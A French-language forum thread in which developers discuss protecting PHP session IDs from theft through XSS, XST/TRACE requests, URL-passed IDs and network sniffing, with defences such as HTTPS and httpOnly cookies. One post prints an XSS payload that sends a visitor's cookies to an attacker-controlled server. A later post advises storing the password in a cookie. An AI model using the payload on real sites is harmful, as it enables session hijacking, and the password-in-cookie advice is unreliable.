Bonjour,  
 
je fais un site en php avec un systeme d'authentification avec un numéro de session. Mon problème vient du fais qu'il existe des moyens de voler un numéro de session. Je cherche donc un moyen de sécuriser un maximun l'accès à mon site. J'ai bien pensé à récupérer l'IP de l'utilisateur mais certain FAI dont AOL fournisse un IP tournante. Donc je peux pas me fier à l'IP. J'ai trouvé le moyen de limiter les risque en associant les information du navigateur grace à $_SERVEUR["HTTP_USER_AGENT"]. Mais on n'est toujours pas sur à 100% qu'on a pas récupérer le numéro de session. j'ai aussi supprimé le passage de la session dans l'URL afin qu'on ne me passe pas la session dans l'URL. Mais il reste la possibilité de creer un cookie de session en vbs.  
 
Existe-t-il d'autres moyen de sécurisé une session?

vbs?
t'es dans la section php là coco.
 
 
et sinon, oui, cookie, point barre. c'est fait pour ça.

bein justement le vbs va servir à creer le cookie de session, donc le cookie ne suffit pas à sécuriser le site.

tu sais qu'avec php, les sessions sont gerées automatiquement?

lui a-t-on dit que VBS c'est une techno proprio de Microsoft qui ne marche que dans IE?

Hey !
Arrêtez de dire n'importe quoi enfin !
Lisez ce que dit Zapco et essayez de comprendre
 
Y cherche pas à écrire un truc en VBS. Il cherche à ce protéger d'un petit malin qui usurpe un ID de session et le transmet en bricolant un bout de code VBS chez lui (coté petit malin).
 
La question, c'est juste, comment être certain que l'ID de session reçu vient bien de l'utilisateur à qui ont l'a attribué.
 
La seule vraie solution, c'est de passer en HTTPS.
 
Sinon, tout dépend de comment l'ID à été volé.
 
Si c'est au pif, ben il suffit de rajouter d'autres cookies, bref de compliquer la chose.
Si c'est en snifant le rézo, ben y'a qu'HTTPS.
 

aaaaaaaaaaaaah comme ça

oups je viens de me rendre compte que mon site etait dans ce cas las
suffit de copier/coller l'url avec le SID sur un autre post et on a access sans s'identifier..    
pour répondre à la question : ne suffit-il pas de verifier le cookie a chaque nelle page (comparer le memberid de la session et celui du cookie)

le cookie me paraît une solution acceptable également.

apparemment il y a un parametre dans php.ini pour que le SID n'apparaise pas dans l'url ?
sur mon hebergeur par exemple il n'apparait pas alors qu'en local (easyphp) il y est  

 
Merci.
Sinon, la solution https n'est pas possible vu mon hébergeur.  
 
Pour le vol de cookie, il y a en gros 3 solutions :

• je passe sur le pc après le gars qui c'est connecté et si le navigateur n'accepte pas les cookies, alors l'ID de session est dans l'adresse. Si la session n'est pas expiré coté serveur, on peut se connecter en mettant l'ID dans l'URL ,ou bien en générant un cookies via un vbs
• Sur le site en question, si je peux mettre du javascript ou du HTML dans mes post alors je peux récupérer l'ID de session de la personne qui regarde mon post.

  Code : exemple: ca ca affiche les cookies chez le client <img src="javascript:alert(document.cookie)"> ca ca m'envoie les cookies du client <img src="javascript:document.write('<img  width=1 height=1 src=http://monserveur/mapage?'+document.cookie+'>')">

• grace à la méthode XSS : http://www.blocus-zone.com/modules [...] ge&artid=6

je ne sais pas si il y a d'autres solutions, mais moi j'aimerai bien blindé mon site.
 
j'ai déjà mis comme protection le fait qu'on ne puisse pas passer l'ID de session dans l'URL, et je vérifie que le client ne change pas de navigateur. Ca limite les risques mais pas completement.
 
Y a-t-il des solutions efficaces

Si je comprends bien tu laisse tes utilisateurs poster du HTML !
 
C'est clair que c'est le truc à pas faire.
 
Autant publier la liste des users/mots de passe !
 
Sinon, j'ai pensé à ajouter un deuxième id de session qui ne serait valable que pour une requête.
 
A+

salut
 
moi ce que je fait c'est que je stocke dans une base de données dans ma table contenant les utilisateurs leur clé de session ainsi qu'une date d'expiration de cette clé
 
ainsi qd je reçoins la clé coté serveur je vérifie la date de validité. Si elle n'est plus valable je fais ensuite une redirection vers la page de login.
 
De plus j'actualise la date de validité à chaque demande de ressources tant que la session est toujours valide
 
 
Enfin j'ai fixé à 30mn la durée de validité de la session (c'est la durée pendant laquelle j'autorise une demande de ressources)

Au fait, j'ai pas essayé, mais le vol de cookies en javascript, je me demande si çà ne marcherait pas même sur un site en HTTPS !

quelqu'un n'aurait pas un exemple un peu plus costaud que ceux qu'on trouve sur le net ?

ma méthode ne vous convient pas ?  

Non !
 
Sur un site qui laisse les gens poster du HTML, un méchant peut poster un "truc" qui fait que les visiteurs vont envoyer leurs cookies sur un autre site.
 
Dans les cookies y'a l'ID de session qui n'est peut-être pas valide longtemps, mais assez pour que le méchant s'en serve.
 
Mais y'a aussi des fois des pseudo et des mots de passe comme sur le forum...
 

 
Déjà ça c'est à proscrire totalement
 
Ensuite, je pense que d'éviter les cookies est une bonne chose à de plusieurs points de vue comparé au passage d'un ID de session dans l'URL (qui peut aussi être récupéré en javascript je pense sans trop de difficulté aussi)
 
Enfin laisser poster du HTML (ou plutot du javascript) doit être fait avec beaucoup de précautions est de filtres.

on leur coupe les grandes plumes sur les ailes.

 
ca c'est malin ! t'aurais pas une soutenance a préparer toi ?!

voici comment voler une clé de session passé dans l'URL
 
code à poster sur un éventuel forum acceptant le HTML :
 

 
et le code php sur le site du pirate (code sommaire) :
 

 
 
du coup à chaque fois que la page avec le code en javascript est ouverte, le fichier chez le pirate récupère l'URL avec la clé de session
 
PS : je décline toute responsabilité en cas d'utilisation frauduleuse de cet exemple  

déjà sur le forum de l'iup j'arrive pas à savoir qui est qui mais alors sur hardware.fr c'est la misère.
 
edit : oui, le 30 juin j'ai 20 min de netmeeting de prévues.

 
"plusieurs points de vue" ?
Tu peux dévelloper stp ?
 
Prends un webmail, par exemple.
Tu vois un IMP de base qui refuse d'afficher un mail sous pretexte qu'il y a du javascript dedans !
 
Cookie ou URL, c'est du pareil au même. (Déjà dit)
Mais le même webmail, tu le vois te demander ton user+mdp pour chaque page consultée ?
 
Et même sans cookie ni sessionId en URL, avec une authentification HTTP, et bien y'a la technique (XST) du genre XSS mais en plus compliquée qui permet de récupérer user et mot de passe pour les envoyer sur un autre site (XSS, XST Voir lien en fin de post )!
 
C'est gentil de dire ce qu'il ne faut pas faire. Et c'est sûr que faire un site qui laisse n'importe qui poster du HTML, c'est dangeureux. Mais c'est pas les cookies qu'il faut attaquer, c'est les failles dans les navigateurs et dans les serveurs.
 
Pour la faille des cookies dans les navigateurs (XSS), y'a IE6 SP1 (pour une fois, ils sont les premiers à l'avoir corrigée) qui propose la technique du httpOnly.
C'est simple. Pour le navigateur, un cookie, c'est un truc du genre
maVar=maValeur ;path=/...
Et bien si ton cookie est écrit comme çà:
maVar=maValeur; httpOnly ;path=/...
alors le navigateur réserve les cookies à la seule utilisation du protocole HTTP. Il désactive la possibilité de les lire en javascript avec document.cookie (qui retourne alors une chaîne vide).
 
Mais çà ne suffit pas !
 
Y'a d'autre failles (XST). Cette dernière permet, par exemple à du javascript via un ActiveX tout ce qu'il y a de plus anodin (s'est pas la seule possibilité) de faire une requête TRACE vers le serveur légitime.
La requête TRACE, demande au serveur de renvoyer la requête au client. Cà n'a pas l'air bien grave comme çà, mais ce qui se passe en fait, c'est que le navigateur ne se contente pas d'envoyer la requête TRACE toute simple demandée par le JavaScript, il ajoute les cookies et les éventuelles infos d'authentifications HTTP.
Donc en retour c'est le code JavaScript qui récupère le tout et qui peut l'envoyer où il veut comme en XSS !
 
Il faut donc configurer le serveur pour qu'il refuse les requêtes TRACE. Et ben c'est pas évident !
Personne n'a jamais pensé que TRACE pouvait être un danger. Les serveurs n'ont généralement pas de mécanisme simple pour l'interdire.
 
Donc dans l'état actuelle des choses :
- Se renseigner sur la manière de configurer le serveur pour qu'il refuse les requêtes TRACE. (Sauf besoin explicite...)
- Eviter si possible d'afficher du HTML d'origine non contrôlée.
- Changer d'ID de session à chaque requête HTTP.
- HTTPS pour tout ce qui est sensible. HTTPS seul ne garantie pas contre XSS et XST, mais si le contenu est sûr, et si le serveur refuse les requêtes TRACE, çà protège contre des attaque plus directes du genre écoute du réseau.
 
Refs :
XST : http://www.cgisecurity.com/whiteha [...] _ebook.pdf
XSS : http://www.cgisecurity.com/articles/xss-faq.shtml
 
Reste un point obscure : Comment faire avec PHP pour que le cookie de session soit formaté avec httpOnly ?
Pour le moment, je pense que la seule solution c'est de renvoyer un autre cookie manuellement.
A suivre...

en meme temps je vois pas pourquoi cette daube de js à acces au cookie, à la base
 
(et d'ailleurs, d'autres browser que ie lui laisse faire ça?)

 
Oui c'est possible avec d'autres browsers.
 
Les cookies, après tout, c'est juste des infos comme les autres.
En js t'as bien accès au code, au données de formulaire...
Pourquoi pas les cookies ?
Je m'en suis servi une fois pour faire la différence entre deux fenêtres d'un même navigateur, pour gérer des contextes différent. J'ai laissé tomber, c'était une vraie usine à gaz...

sais pas, je vois pas bien l'utilité de l'acces au cookie en js...

Ce qui bien sûr ne veux pas dire qu'il n'y en a pas

Bon, ben pour le httpOnly, la solution la plus simple pour moi, c'est de l'ajouter en dur dans session.c et de recompiler PHP

le truc le plus sur c'est le cookie avec le pseudo et le mot de passe,et tu verifie les deux.Si le mec n'a pas le mot de passe,impossible avec de faire quoi que ce soit sur ton site.
C'est comme ca que marche ce forum.

Bon, çà marche, mais seulement pour le cookie de session.
Donc pour que çà marche aussi avec setcookie :
Modif de head.h et head.c pour que la fonction accepte un nouveau param : 'httponly'.
bool setcookie ( string name [, string value [, int expire [, string path [, string domain [, int secure [, int httponly]]]]]])
 

les cookies en dehors des cookies de session, encore un truc dont j'ai jamais compris l'utilité

?

jvois absolument pas l'interet de foutre un mot de passe dans un cookie

en tout cas c'est ce qui se passe sur le forum, sauf qu'il est pas en clair bien entendu

l'évocation du seul nom de "joce" devrait suffire pour mettre la justification émise par tes propos en doute

peut etre pour identifier la personne

ben j'ai vérifié le cookie et mon mdp n'apparaît pas en clair en tout cas